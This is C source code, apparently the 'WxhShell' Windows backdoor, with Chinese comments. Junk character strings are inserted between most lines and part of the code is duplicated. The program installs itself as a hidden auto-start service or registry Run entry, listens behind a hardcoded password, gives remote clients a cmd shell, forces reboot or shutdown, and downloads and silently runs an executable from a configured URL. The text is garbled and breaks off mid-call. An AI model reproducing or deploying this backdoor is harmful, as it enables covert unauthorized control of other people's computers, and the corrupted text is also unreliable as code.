@ DWORD BasePriority; *VIM!/YW ULONG UniqueProcessId; e l'^9K ULONG InheritedFromUniqueProcessId; 6y%BJU.I } PROCESS_BASIC_INFORMATION; UI<'T3b hs2f3;) PROCNTQSIP NtQueryInformationProcess; (vz)GrH> d7It}7@9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W2%(a0p static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5;>M&qmN Z&s+*&TM HANDLE hProcess; ;T"}dJel# PROCESS_BASIC_INFORMATION pbi; 6IPhy.8 za<Ja=f9X HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pk}*0Y- if(NULL == hInst ) return 0; Fu )V2[TY |; $fy- g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^-4mZXAy1| g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AcrbR&cvG NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mq[;: }-V .upl if (!NtQueryInformationProcess) return 0; ?j?{}Z %a8'6^k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C(}9 if(!hProcess) return 0; 6DaH+ m1]rLeeEt if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?5$\8gZ @D9c CloseHandle(hProcess); .#5<ZAh/? M4nM%qRGQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v_{`O'#j^ if(hProcess==NULL) return 0; BG-uKJ ^ =H>rX
2k HMODULE hMod; #MHnJ char procName[255]; _UjAct]6
unsigned long cbNeeded; u 6la -*e$>w[.N if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &^63*x;hE 6xk"bIp CloseHandle(hProcess); 9{70l539 /-^gK^ if(strstr(procName,"services")) return 1; // 以服务启动 WE|L{ fS1N(RZ1 return 0; // 注册表启动 y"cK@sOo } `Wn0v2@a(~ Ea!}r|~]0 // 主模块 #8;^ys1f int StartWxhshell(LPSTR lpCmdLine) tI*u"%#t { >|6[uKrO SOCKET wsl; Y'Wj7P BOOL val=TRUE; _#f/VE int port=0; q,aWF5m@ struct sockaddr_in door; +**H7: bO ^ T(l3r if(wscfg.ws_autoins) Install(); b1nw,(hLY `USR]T_` port=atoi(lpCmdLine); o$d; Y2K y\5V(Q\ if(port<=0) port=wscfg.ws_port; S,G=MI" +_:Ih,- WSADATA data; 0m7J'gm{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?tqTG2! ( e>nRJH8pK if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,EcmMI^A setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DG7FG-- door.sin_family = AF_INET; kVkV~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); @ewQx| door.sin_port = htons(port); a=p3oh?%-O pUwx`"DrR if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ppb]RN|) closesocket(wsl); wA.YEI|CSj return 1; 4)JrOe&k } *N\U{)b\ zclt2? if(listen(wsl,2) == INVALID_SOCKET) { j[wGR_EE closesocket(wsl); 0u'2f`p* return 1; TQE 3/I L } \{{B57/Isq Wxhshell(wsl); o6xl,T% WSACleanup(); >AN`L`%2 Ulj2Py} return 0; i&mu=J[ EZ1H0fm } 5SR29Z[ ;]Y.2 J // 以NT服务方式启动 #4%,09+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k-e_lSYk&c { /Wg$.<!5} DWORD status = 0; g@MTKqs DWORD specificError = 0xfffffff; G
A2S egx(N
<
serviceStatus.dwServiceType = SERVICE_WIN32; e_k1pox]l serviceStatus.dwCurrentState = SERVICE_START_PENDING; fcnbPO0M serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a 3R#Bg( serviceStatus.dwWin32ExitCode = 0; T>vH ZZiO serviceStatus.dwServiceSpecificExitCode = 0; Nf-IDK serviceStatus.dwCheckPoint = 0; 9y.C])(2 serviceStatus.dwWaitHint = 0; g3LAi#m N=tyaS(YJ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +s1+;VUs3 if (hServiceStatusHandle==0) return; /LuwPM HQ/PHUg2 status = GetLastError(); TeHL=\L-^ if (status!=NO_ERROR) lG%oqxJ+ L { o\b8lwA, serviceStatus.dwCurrentState = SERVICE_STOPPED; <\X4_sdy serviceStatus.dwCheckPoint = 0; 1ReO.Dd`R serviceStatus.dwWaitHint = 0; 9WtTUk serviceStatus.dwWin32ExitCode = status; OR1XQij serviceStatus.dwServiceSpecificExitCode = specificError; mOGcv_L SetServiceStatus(hServiceStatusHandle, &serviceStatus); :!g|0CF_ return; :V}8a!3h } yK"U:X c{|soc[# serviceStatus.dwCurrentState = SERVICE_RUNNING; #(ANyU(#e serviceStatus.dwCheckPoint = 0; >9<h?F%S serviceStatus.dwWaitHint = 0; r^WO$u|@i if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <X|"5/h } 2x$\vL0 f7d) // 处理NT服务事件,比如:启动、停止 y'2K7\>E VOID WINAPI NTServiceHandler(DWORD fdwControl) xx!o]D-} { {< jLfL1 switch(fdwControl) e)!X9><J { ]~3wq[O case SERVICE_CONTROL_STOP: zHDC8m serviceStatus.dwWin32ExitCode = 0; 9OF5A<%"u serviceStatus.dwCurrentState = SERVICE_STOPPED; "^22Y}VB serviceStatus.dwCheckPoint = 0; ;\4}Hcg serviceStatus.dwWaitHint = 0; 5 xTm] { _V-@95fK SetServiceStatus(hServiceStatusHandle, &serviceStatus); u"X8(\pOn } >@h0@N return; (;~[}" case SERVICE_CONTROL_PAUSE: YCw^u serviceStatus.dwCurrentState = SERVICE_PAUSED; MZv&$KG4m@ break; t8]u#bx"? case SERVICE_CONTROL_CONTINUE: oo-^BG serviceStatus.dwCurrentState = SERVICE_RUNNING; h-lMrI)U?h break; YDs/BF
Z case SERVICE_CONTROL_INTERROGATE: cS QUK break; WDE_"Mm }; .?!{. D SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6tzZ j:yq } 5!tmG- 'b MSRIG- // 标准应用程序主函数 -Ah \a0z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1hi^ { \&ERSk2 GlQ=M )E // 获取操作系统版本 (t<i?>p OsIsNt=GetOsVer(); /\
~{ GetModuleFileName(NULL,ExeFile,MAX_PATH); V%Y.N4H Lm ,io\z // 从命令行安装 f=}u;^ if(strpbrk(lpCmdLine,"iI")) Install(); ]y-r
I cpu+"/\ // 下载执行文件 >4LX!^V" if(wscfg.ws_downexe) { !Q#u
i[0q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )bPNL$O WinExec(wscfg.ws_filenam,SW_HIDE); u`E_Q8 } Q`r1pO O=c& if(!OsIsNt) { *DDfdn // 如果时win9x,隐藏进程并且设置为注册表启动 IGu*#>h HideProc(); RD{jYr; StartWxhshell(lpCmdLine); =k3QymA } '["Y;/> else =wS:)%u if(StartFromService()) z-krL: A // 以服务方式启动 PcDPRX!@ StartServiceCtrlDispatcher(DispatchTable); .u
W_(Rqg else gj6"U{D // 普通方式启动 ` Bkba: StartWxhshell(lpCmdLine); {oBVb{< ZPZ1
7- return 0; [r^f5;Z } (z^2LaM `8 Y$oBsg\v 8ne5 B4 6\~m{@ =========================================== M 80U s. iDHmS6_c r)U9u 0 ;#rtV; `z+:Z>>
"thfd"- " szmjp{g0 Br-y`s~cP #include <stdio.h> 8 hWQ #include <string.h> A4( ^I
u #include <windows.h> %\:.rs^ #include <winsock2.h> aL#b8dCy' #include <winsvc.h> B: {bmvy #include <urlmon.h> "GZhr[AW %[NefA( #pragma comment (lib, "Ws2_32.lib") pjjs'A*y #pragma comment (lib, "urlmon.lib") r8Gq\ ^ prIq9U|@ #define MAX_USER 100 // 最大客户端连接数 /91H!s #define BUF_SOCK 200 // sock buffer &^&k]JBaV #define KEY_BUFF 255 // 输入 buffer W%vh7>. \?g)jY #define REBOOT 0 // 重启 H26j]kY #define SHUTDOWN 1 // 关机 %,6@Uu#%6 N_/&xHw #define DEF_PORT 5000 // 监听端口 0FEb[+N I>9rfmmTI #define REG_LEN 16 // 注册表键长度 ;Y K^&!N #define SVC_LEN 80 // NT服务名长度 6@Eip[e .z+QyNc: // 从dll定义API Dk]Y\: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -#)xeW.d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p9l&K/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n-H0cm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H3`%#wQ0j L6l~!bEc // wxhshell配置信息 m#%5H struct WSCFG { jZm1.{[> int ws_port; // 监听端口 cC4*4bMm char ws_passstr[REG_LEN]; // 口令 DPy"FQYZb int ws_autoins; // 安装标记, 1=yes 0=no `@Kh>K char ws_regname[REG_LEN]; // 注册表键名 {/#?n[" char ws_svcname[REG_LEN]; // 服务名 atl0#F Bd char ws_svcdisp[SVC_LEN]; // 服务显示名 &yVii^ char ws_svcdesc[SVC_LEN]; // 服务描述信息 V4VTP]'n char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "8{u_+_B* int ws_downexe; // 下载执行标记, 1=yes 0=no QKCk. 0Xe char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vfc9+T+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dzbzZ@y CHBCi) '6h }; Q#:,s8TW[ $9Z8P_^.0( // default Wxhshell configuration puMpUY struct WSCFG wscfg={DEF_PORT, ';b/D "xuhuanlingzhe", (qB$I\ 1, (sr_&7A "Wxhshell", /l:3*u "Wxhshell", PPE:@!u< "WxhShell Service", ,JVD ;u "Wrsky Windows CmdShell Service", L$(W*
PG} "Please Input Your Password: ", mjy%xzVr6^ 1, 3R4-MK "http://www.wrsky.com/wxhshell.exe", n%"s_W'E "Wxhshell.exe" ,`-6!|: }; z
KJ6j ]m &a48DCZ // 消息定义模块 }>)"!p;t_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fnll&TF char *msg_ws_prompt="\n\r? for help\n\r#>"; |q5\1}@: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ??1V__w char *msg_ws_ext="\n\rExit."; aEX+M57k~ char *msg_ws_end="\n\rQuit."; ?CmW{9O char *msg_ws_boot="\n\rReboot..."; -Frx {3 char *msg_ws_poff="\n\rShutdown..."; G]q6Ika char *msg_ws_down="\n\rSave to "; ~>#=$#V :Q&8DC#] char *msg_ws_err="\n\rErr!"; J0|/g2%0 char *msg_ws_ok="\n\rOK!"; eeB^c/k(P .&}}ro48 char ExeFile[MAX_PATH]; sfVtYIu int nUser = 0; Kr]F+erJe HANDLE handles[MAX_USER]; LvW9kL+WiQ int OsIsNt; (Ptv#LSUX S=M$g#X`5 SERVICE_STATUS serviceStatus; &x;v& SERVICE_STATUS_HANDLE hServiceStatusHandle; <R]?8L0{h 8 kd // 函数声明 (h`||48d int Install(void); k[G? 22t int Uninstall(void); Cww$ A %} int DownloadFile(char *sURL, SOCKET wsh); _W?}%; int Boot(int flag); ze,HNFg@> void HideProc(void); ,|T
int GetOsVer(void); s(wbsRVP8 int Wxhshell(SOCKET wsl); C/
;f)k< void TalkWithClient(void *cs); wl5!f| int CmdShell(SOCKET sock); VCvuZU{< int StartFromService(void); 4-cnkv\~ int StartWxhshell(LPSTR lpCmdLine); =I7#Vtd^K< KY4|C05, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); atW;S99# VOID WINAPI NTServiceHandler( DWORD fdwControl ); J. {[> pw&l.t6. // 数据结构和表定义 xmq~:fcU= SERVICE_TABLE_ENTRY DispatchTable[] = ^*}L9Ot~ { '+' {wscfg.ws_svcname, NTServiceMain}, u49/LtB\ {NULL, NULL} roL~r`f` }; Hh54&YKZ m0un=>{ // 自我安装 =_Qt&B)
int Install(void) WR~uy|mX { G%rK{h char svExeFile[MAX_PATH]; a.c2ScXG HKEY key; ]6$NU
[ strcpy(svExeFile,ExeFile); r=qb[4HiV ,bJZs-P0 // 如果是win9x系统,修改注册表设为自启动 e&]XiV' if(!OsIsNt) { "t4~xs`~X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xNq&_oY7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F/@#yQv? RegCloseKey(key); N:gS]OI* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wm@1jLjrQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WWq)CwR RegCloseKey(key); 0W]Wu[k return 0; ~Bj-n6 QDE } \?
MuORg } eFZ`0V0 }
bQ else { (:E^} &A Jq?ai8
// 如果是NT以上系统,安装为系统服务 |h6)p;`gc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qj/ 66ak if (schSCManager!=0) Ct"h.rD ] { 1Pn!{ bU3@ SC_HANDLE schService = CreateService ;~/ ( o+6Y/6Xp@ schSCManager, vxbO>c wscfg.ws_svcname, V-J\!CHX wscfg.ws_svcdisp, B.{0,bW?
SERVICE_ALL_ACCESS, |{ *ce<ip5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a>""MC2 SERVICE_AUTO_START, <8jn_6 SERVICE_ERROR_NORMAL, 3H4p$\;C svExeFile, l2n>Wce9 NULL, CEI#x~Oq NULL, 0]i#1Si~@ NULL, e|Lh~sVq NULL, NaAq^F U NULL |$6GpAq! ); uQpV1o5iA if (schService!=0) _Se>X= { &/a/V CloseServiceHandle(schService); V&\ZqgDF CloseServiceHandle(schSCManager); 6,cyi|s strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w3,QT}W vY strcat(svExeFile,wscfg.ws_svcname); PksHq77 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c3K(mM: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E/5w
H/ RegCloseKey(key); T[ mTA>d return 0; sowkxw.^Q } G0a UZCw } @bD,^3 U CloseServiceHandle(schSCManager); ^"*r' } {Ivu"<`L3 } ~EX/IIa{ B4U+q|OD# return 1; !aIIjWz] } 5r`g6@ ! =|{ // 自我卸载 gzl_
"j int Uninstall(void) 5n?fZ?6( { 6;5}%
B:#h HKEY key; (QqKttL: =BNmuAY7 if(!OsIsNt) { #l{qb]n] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J#'c+\B<2X RegDeleteValue(key,wscfg.ws_regname); CUY2eQJ{U RegCloseKey(key); %Ix^Xb0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2/(gf[elX RegDeleteValue(key,wscfg.ws_regname); tPFV6n
i RegCloseKey(key); ;QW)tv.y return 0; qItj`F)d } lD 9'^J } )UN@|IX } DQ~+\ else { 5b|_?Em7 //|9J(B] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >&BgF*mm if (schSCManager!=0) \s+<w3 { `YIpZ
rB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1.jW^sM if (schService!=0) [R& P.E7w' { fa"eyBO50 if(DeleteService(schService)!=0) { E)>6}0P CloseServiceHandle(schService); ]$KH78MTW CloseServiceHandle(schSCManager); 5?6ATP:[ return 0; -u)06C*39 } X~n Kuo CloseServiceHandle(schService); WS2TOAya) } YwHnDVV+ CloseServiceHandle(schSCManager); .B>|>W O } vmW4a3 } d+"KXt5CV hb^e2@i;Oq return 1; [=.. #y!U } N[r@Y{ ygT,I+7\ // 从指定url下载文件 rP#@*{"; int DownloadFile(char *sURL, SOCKET wsh) /C3=-Hp { &/Tx@j^.C HRESULT hr; S@Jl_`< char seps[]= "/"; 85Ms*[g char *token; Y@;bA=Du} char *file; /T*{Mo{B char myURL[MAX_PATH]; vC+mC4~/( char myFILE[MAX_PATH]; Q7`zrCh o$Hc5W([Z strcpy(myURL,sURL); DH m$gk token=strtok(myURL,seps); v)rN]b] while(token!=NULL) \/{qE hP { S.M< ( file=token; jZ.+b
j > token=strtok(NULL,seps); (Z6[a{}1i } x$6-7<p X9zTz2 Fy GetCurrentDirectory(MAX_PATH,myFILE); Yo(8mtYU strcat(myFILE, "\\"); CbK7="48 strcat(myFILE, file); /WMG)#kw' send(wsh,myFILE,strlen(myFILE),0); F'|,(P send(wsh,"...",3,0); ^3AJYu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -/7[_, if(hr==S_OK) C,jPr )6) return 0; vWzNsWPK"{ else PMkwY{.u return 1; )pJ}o&J ?MO'WB9+JR } `4Nc(aUr Zw"6-h4 // 系统电源模块 M,y='*\M int Boot(int flag) ]FQ4v.7 {
s9O] tk HANDLE hToken; 9-p d{Z~l TOKEN_PRIVILEGES tkp; pmHd1 Wub ("mW=Ln if(OsIsNt) { h7(twct OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t1IC0'o- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HHtp.;L/ tkp.PrivilegeCount = 1; {zmo7~= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ed*=p
l3. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =ngu*#?c4 if(flag==REBOOT) { (|O;Ci if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0qJ 3@d return 0; x{Gih1 } zM[WbB+"m else { [o|]>(tk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^k u~m5v return 0; *GD 1[:
} 2NE/ZqREg } -cIc&5CS else { 6^|bKoN/ f if(flag==REBOOT) { `qs'={YtU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F)v+.5T1 return 0; ~oSLWA9 } cDE?X o'! else { '!IX;OSjH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T /[)U
return 0; B(b[Dbb } FKL}6W: } M(oW;^B <2|x]b8 return 1; 1~Pht:,t } REFisH- f\/};a // win9x进程隐藏模块 7_q"%xH void HideProc(void) (Grj_p6O { V@cRJ3ZF mb\vHu*53 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @/|sOF;8W if ( hKernel != NULL ) Z(U&0GH` { y "7TO# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G++kUo< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B}r@x z FreeLibrary(hKernel); EEaKT`/d } /R@(yT=t tDIzn`$z return; B-M|}T } hhYo9jTHW ]1D>3 // 获取操作系统版本 7W}~c/ % int GetOsVer(void) i?*&1i@ { h1)p{5}H OSVERSIONINFO winfo; )
e;F@o3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j-yD;N GetVersionEx(&winfo); /D)@y548~~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /<|J \G21 return 1; mc9$" else G)b ]uX return 0; 8|yhe%-O } n=hz7tjaz W,w g@2 // 客户端句柄模块 V @d:n int Wxhshell(SOCKET wsl) P[gk9{sv { QC
]z--wu SOCKET wsh; |bd5aRS9 struct sockaddr_in client; DYzVV(_J" DWORD myID; #gsAwna3 PB }$.8 while(nUser<MAX_USER) -Ca.:zX { xbn+9b int nSize=sizeof(client); 4b7}Sr=` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5'oWd
e if(wsh==INVALID_SOCKET) return 1; #9
}Oqm EHo"y.ODg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mc@p~5!M if(handles[nUser]==0) -4GSGR'L&y closesocket(wsh); |,}QhR else }14.u&4 nUser++; ]G|@F
: } >E)UmO{S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u45e>F= V|b?H6Q return 0; {9C(\i + } W>1\f0' D:.^]o[
// 关闭 socket qD`')= void CloseIt(SOCKET wsh) @6t3Us~/ { eb( =V* closesocket(wsh); 0}P&G^%" nUser--; O\G%rp L$w ExitThread(0); *sL'6"#Cre } CsuSg*#X+ H<1C5- // 客户端请求句柄 :()4eK/\ void TalkWithClient(void *cs) @^;\(If2 { uOougSBV, 45ct*w SOCKET wsh=(SOCKET)cs; 1X#`NUJ?2 char pwd[SVC_LEN]; w8@MUz}/# char cmd[KEY_BUFF]; XtQ3$0{*% char chr[1];
uiiA)j*! int i,j; drb_GT #uey1I@"9 while (nUser < MAX_USER) { Zc%S`zK`7 urtcSq&H' if(wscfg.ws_passstr) { CWC*bkd5a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >8>.o[Q& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !4*@H //ZeroMemory(pwd,KEY_BUFF); ^z)lEO i=0; ]~a!O while(i<SVC_LEN) { xnh%nv<v{ 1f}S:Z // 设置超时 jp[QA\ fd_set FdRead; tP3H7Yl!g struct timeval TimeOut; B /Dj2 FD_ZERO(&FdRead); c~$ipX FD_SET(wsh,&FdRead); z{ymVd0# TimeOut.tv_sec=8; x`B:M7+\ TimeOut.tv_usec=0; l(&CO<4q? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7Y#b7H if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tQ|b?3 ]JhtO{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a"WnBdFZ pwd=chr[0]; e3(0L I if(chr[0]==0xd || chr[0]==0xa) { n,AN&BZ pwd=0; ^//N-?Fx break; :mg#&MZj< } Dvx"4EA{7{ i++; _@"Y3Lqi } K-vso4@BJ }i/{8OuW // 如果是非法用户,关闭 socket - MBK/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~zRW*pd } ?BWWb
?V7[,I1? send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +mF}j=k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R[_7ab]A c6?5?_ne while(1) { tX)]ZuEi$ 5dL-v&W ZeroMemory(cmd,KEY_BUFF); % yJs"% ShSh/0
// 自动支持客户端 telnet标准 6qHo$#iT j=0; 9k83wACry while(j<KEY_BUFF) { # ^%'*/z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MhJ`>.z1
cmd[j]=chr[0]; XP(q=Mw if(chr[0]==0xa || chr[0]==0xd) { 8PQ$X2) cmd[j]=0; jl7e6#zu break; M5%xp.B } (tVY
/(~# j++; IE,g } Qh{=Z^r gu"Agct4 // 下载文件 VvoJ85 if(strstr(cmd,"http://")) { aC%0jJ<eo send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2b3*zB*@V if(DownloadFile(cmd,wsh)) *nH ?o* # send(wsh,msg_ws_err,strlen(msg_ws_err),0); 69IBG,N' else s';jk(i3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ro?.,c T } .#+rH}=Z else { 1F$a
My? G LE`ba switch(cmd[0]) { bAW;2
NB ^U`[P@T // 帮助 0<^K0>lm
p case '?': { Kh5:+n_X send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KzM\+yC break; *1elUI2Rg } !\!fd(BN // 安装 6.By)L case 'i': { @<w$QD if(Install()) ?.,cWKGQ} send(wsh,msg_ws_err,strlen(msg_ws_err),0); sN;U,{ else yJKezIL\z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
4uTYuaCNs break; MKQa&Dvw } *^NC5=A(d // 卸载 0?sIod case 'r': { 35c9c(A if(Uninstall()) lSbAZ6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); S:t7U% else 0|NbU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "+)ey>_ break; DE. Pw+5<. } bu$5gGWVf // 显示 wxhshell 所在路径 %GHHnf%2Z case 'p': { #b{otc) char svExeFile[MAX_PATH]; LoTq2 / strcpy(svExeFile,"\n\r"); GLk7#Y strcat(svExeFile,ExeFile); t(ZiQ<A send(wsh,svExeFile,strlen(svExeFile),0); }~A-ELe: break; A70_hhP } .oSKSld // 重启 @NV$!FB< case 'b': { S'?XI@t[ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (-~tb- if(Boot(REBOOT)) |1t30_ /gS send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nzr zLK else { qdcCX:Z< closesocket(wsh); d/* [t! ExitThread(0); w0
"h,{ } (j cLzq break; HPU7
` b4 } v3~,1)#aI // 关机 6o{anHBB case 'd': { 0gt/JI($ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H:0-.a^ZS if(Boot(SHUTDOWN)) 8LiRZ" send(wsh,msg_ws_err,strlen(msg_ws_err),0); OBj.-jL else { snN1 closesocket(wsh); g *^"x& ExitThread(0); !8P#t{2_| } ch< zpo: break; Z\@vN[[ } xat)9Yb}0 // 获取shell 3xj<ATSe case 's': { 9K)OQDv%6D CmdShell(wsh); |e+I5 closesocket(wsh); q>H!?zi\Hy ExitThread(0); U);
,Opr break; N|Rlb5\ } d)dIIzv // 退出 bz<wihZj case 'x': { xu_Tocvop send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "qwRcuHY CloseIt(wsh); kQ4%J,7e4 break; Ij4\* D! } ( XE`,# // 离开 gS"@P:wYzs case 'q': { {;z3$/JB send(wsh,msg_ws_end,strlen(msg_ws_end),0); OlV>zam closesocket(wsh); N%>/
e'( WSACleanup(); a0AIq44 exit(1); PJb_QL!9 break; hJaqW'S } bt~-=\ } i8A5m@,G } ^t#]E# _}Z*%sT // 提示信息 &A%#LVjf if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xb1)ZJH } 8xL-j2w } mp@ JsCU LfF<wDvXf return; Lmj?V1% V } N}s[0s uOZ+9x( // shell模块句柄 lr^- int CmdShell(SOCKET sock) KnU "49 { T@k&YJ
STARTUPINFO si; t6js@Ih ZeroMemory(&si,sizeof(si)); :*Ckq~[Hg si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vA+ RZ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EStHl(DUPq PROCESS_INFORMATION ProcessInfo; x)V.^- char cmdline[]="cmd"; @tp/0E? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [[TB.'k return 0; xazh8X0P } zwAuF%U \@I.K+hj$ // 自身启动模式 7b
Gzun& int StartFromService(void) .R:eN&Y8y { U6_1L,W typedef struct r+
vtKb { if_e$,dh~> DWORD ExitStatus; >,1'[)_ DWORD PebBaseAddress; d9sgk3K DWORD AffinityMask; WhK?>u DWORD BasePriority; -?@$`{-K ULONG UniqueProcessId; 3)GXu>) t ULONG InheritedFromUniqueProcessId; iiRK3m } PROCESS_BASIC_INFORMATION; Fbk<qQH y(N-1 PROCNTQSIP NtQueryInformationProcess; 9E
(>mN cL=P((<K? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8f29Hj+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |5g*pXu{ Kji}2j'a HANDLE hProcess; zJ &qR PROCESS_BASIC_INFORMATION pbi; +R*4`F:QJQ @W^g(I(w HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /mr&Y}7T if(NULL == hInst ) return 0; ?k"KZxpT BH*vsxe g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *TMg. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {\0 R[+d NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /:%^Vh3XF 4"7Qz z if (!NtQueryInformationProcess) return 0; GW}KmTa]& R %}k52` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /G84T,H if(!hProcess) return 0; So!1l7b hvpn=0@M if(NtQueryInformationProcess( 